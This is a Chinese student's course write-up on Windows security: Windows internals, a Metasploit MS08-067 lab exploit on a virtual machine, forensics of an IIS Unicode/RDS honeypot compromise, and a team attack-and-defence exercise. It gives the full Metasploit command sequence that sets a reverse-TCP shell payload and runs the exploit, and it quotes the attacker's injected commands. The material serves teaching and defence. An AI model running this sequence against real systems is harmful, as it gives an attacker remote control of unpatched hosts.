20211902 毕鑫杰 2021-2022-2 《网络攻防实践》第八周作业
一、知识梳理
1.Windows操作系统基本结构(1)windows系统的内核基本模块
- Windows执行体
- Windows内核体
- 设备驱动程序
- 硬件抽象层
- Windows窗口与图形界面接口内核实现代码
(2)Windows内核的核心机制
- Windows进程和线程管理机制
- Windows内存管理机制
- Windows文件管理机制
- Windows注册表管理机制
- Windows的网络机制
(3)Windows操作系统基本机构示意图
2. Windows运行机制
(1)Windows系统内核中的进程和线程管理机制:
(2)Windows进程中包括虚拟内存地址描述符、系统资源句柄列表、安全访问令牌、记录了进程Id及其父进程ID等信息、并至少有一个线程执行线程。线程包括程序执行的上下文信息,同时和进程共享虚拟地址、资源列表、安全令牌。
3、Windows操作系统的安全体系机制
(1)Windows身份认证机制
Windows为每个用户和计算机设置账户进行管理,账户权限的根本作用是限制这些账户呢欸运行程序对系统对象的访问(最高权限的本地Administration账户)
现在使用的是Kerberos身份认证,但在大量未使用域的网络环境里,Windos仍使用NTLMlai wa来完成网络用户的身份认证。
(2)Windows授权与访问控制机制
Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
(3) Windows安全审计机制
Windows的审计策略由系统管理员定义。LSASS服务用于保存审计策略,SRM安全引用控制器对对象访问和操作事件进行记录,EventLog服务将事件写入日志文件中。
4、Windows远程安全攻防技术
windows的远程攻击可以大致分为:远程口令猜测与破解攻击、攻击网络服务、攻击客户端和用户
二、实践内容
(1)动手实践Metasploit windows attacker
-
任务:使用metasploit软件进行windows远程渗透统计实验
-
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
(2)取证分析实践:解码一次成功的NT系统破解攻击。
- 来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
- 攻击者使用了什么破解工具进行攻击
- 攻击者如何使用这个破解工具进入并控制了系统
- 攻击者获得系统访问权限后做了什么
- 我们如何防止这样的攻击
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
(3)团队对抗实践:windows系统远程渗透攻击和分析。
-
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
-
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
三、实践过程
(1)动手实践Metasploit windows attacker
-
任务:使用metasploit软件进行windows远程渗透统计实验
-
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
1、在kali中,通过如下命令,启动kali里面的msfconsole进入Metasploit:
sudo su
sudo apt-get install metasploit-framework
msfconsole
2、输入search ms08_067命令
查看漏洞ms08_067详细信息
再用命令 use exploit/windows/smb/ms08_067_netapi
告诉kali 我们将ms08_067作为目标漏洞
3.使用命令 show payloads
列举出所有适用的负载模块,查看有效的攻击载荷
4.选择 3 ,反向连接。使用命令 set PAYLOAD generic/shell_reverse_tcp
设置攻击的载荷为tcp的反向连接
5.输入命令 show options
来查看攻击数据,需要我们设置的参数如下图标记所示。
配置该渗透攻击模块和攻击负载模块所必须的参数,用 set LHOST 192.168.200.2
为攻击机kali地址, set RHOST 192.168.200.124
为靶机地址,再次用 show options
查看当前参数列表及其默认装置
show options
展示渗透攻击需要设置的参数
6. 配置该渗透攻击模块和攻击负载模块所必须的参数,用 set LHOST 192.168.200.2
为攻击机kali地址, set RHOST 192.168.200.124
为靶机地址
再次用 show options
查看当前参数列表及其默认装置,完成配置
7. 输入命令 show targets
查看可设置的操作系统类型
set TARGET 0
选择目标操作系统平台,0为自动识别
7、输入set LHOST 192.168.200.3
设置渗透攻击的主机是kali,输入set RHOST 192.168.200.124
设置渗透攻击的Win2KServer_靶机IP;
8、输入exploit
开始渗透攻击。
9、在靶机中输入ipconfig/all
显示靶机的操作系统和IP配置,渗透攻击成功
(2)取证分析实践:解码一次成功的NT系统破解攻击。
- 来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
- 攻击者使用了什么破解工具进行攻击
- 攻击者如何使用这个破解工具进入并控制了系统
- 攻击者获得系统访问权限后做了什么
- 我们如何防止这样的攻击
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
(1)用wireshark打开snort
可以看到攻击机与目标主机在TCP“三次握手”后建立了连接,发现攻击机经三次握手。
之后访问了靶机的http://lab.wiretrip.net/,同时可见靶机操作系统为windows NT 5.0
(2)接下来设置限定条件为:ip.addr==172.16.1.106 and http
。然后就开始往下翻,编号为117的这一行发现有一些奇怪的路径。这个boot.ini是NT系统的启动文件。而前面的..%c0af..查阅资料后得知,这是"/"的Unicode编码,基本确定存在Unicode漏洞攻击。Unicode漏洞是指在Unicode字符解码时,IIS 4.0/5.0存在一个安全漏洞,导致用户可以远程通过iis执行任意命令。当用户用IIS打开文件时,如果该文件名包含Unicode字符,系统会对其进行解码。如果用户提供一些特殊的编码,将导致IIS错误地打开或者执行某些Web根目录以外的文件。
(1)在140行然后有一个msadcs.dll文件,这是一个远程数据访问服务的文件,存在RDS漏洞,该漏洞可以导致攻击者远程执行用户系统的命令,并以设备用户的身份运行
(2)筛选tcp.stream eq11进行HTTP流追踪,看到!ADM!ROX!YOUR!WORLD!
,根据教材内容,证实这是RDS漏洞攻击,攻击者通过 msadcs.dll
中存在RDS漏洞进行了SQL注入攻击,并执行了命令 cmd /c echo werd >> c:\fun
,特征字符串 ADM!ROX!YOUR!WORLD
出现多次,根据资料可以查询到是由msadc(2).pl渗透攻击工具发起的攻击。
(1)攻击者进入系统后连接6969端口,获得了访问权限
(2)从上面的数据流来看,下图中攻击者使用了SQl注入,在靶机系统目录下生成一个文件
![](https://img2022.cnblogs.com/blog/2773184/202205/2773184-20220502162701122-1403913677.png)
(3)在编号2339追踪http流,我们可以看到ADD
,这意味着提升权限
答:从某种意义上来说,这场攻击主要是RDS漏洞攻击和Unicode漏洞攻击,方法有如下几点:
- 为这些漏洞打上补丁.
- 禁用用不着的 RDS 等服务。
- 防火墙封禁网络内部服务器发起的连接。
- 为web server 在单独的文件卷上设置虚拟根目录。
- 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能。
- 使用 IIS Lockdown 和 URLScan 等工具加强 web server。
- (1)限制网络用户访问和调用CMD命令的权限
- (2)若没必要使用SCRIPTS和MSADC目录,删除或改名
- (3)安装windows NT系统时不要使用默认WINNT路径,您可以改为其他的文件夹,如C:\mywindowsnt
- (4)用户可从如下地址下载Microsoft提供的补丁:t.asp为IIS 4.0的补丁地址,.asp为IIS 5.0补丁地址
- (5)通过移除或删除系统内/msadc目录,同时移除c:\Program Files\Common Files\System\Msadc\msadcs.dll,或安装MDAC 2.1 SP2补丁(下载网址为),并注意及时上网更新
C:>echo best honeypot i've seen till now :) > rfp.txt
(3)团队对抗实践:windows系统远程渗透攻击和分析。
-
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
-
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
1、步骤基本与实践一一致,但这次在kali中打开metasploit
2、步骤不变,仍旧输入set LHOST 192.168.200.2
设置渗透攻击的主机是kali,输入set RHOST 192.168.200.124
设置渗透攻击的Win2KServer_靶机
3、设置目标操作系统平台类型set TARGET 0
,0
意为自动匹配;
4、在发起攻击之前打开wireshark抓包,然后输入exploit开始渗透攻击
![](https://img2022.cnblogs.com/blog/2773184/202205/2773184-20220502165750468-118475560.png)
5、可以看出攻击者ip地址192.168.200.2
,靶机ip地址192.168.200.124
,端口43125,端口445
6、攻击机向靶机发了许多SMB协议包。而MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。所以据此可以推断出是攻击这个漏洞
id="7在靶机中输入ipconfigall-查看wireshark中捕获的包可以从发出的数据中看到发出的命令">7、在攻击机中输入md 1902 在靶机创建文件夹,到靶机win2k处验合。
四、学习中遇到的问题及解决
问题:不懂wireshark追踪tcp流的操作获取shellcode信息
解决:询问同学获知:找到tcp协议信息-右键-follow
五、学习感想和体会
本次实验操作量较大,故而完成费时较久,主要是遇到了之前网络调整未完备彻底留下来的问题。虚拟机网络调试完成后,实验便较为顺利了。其中实践一实践三也属于较好理解的部分,唯独实践二做法不一,所涉理论较多,分析难度较大,需要更多思考体会。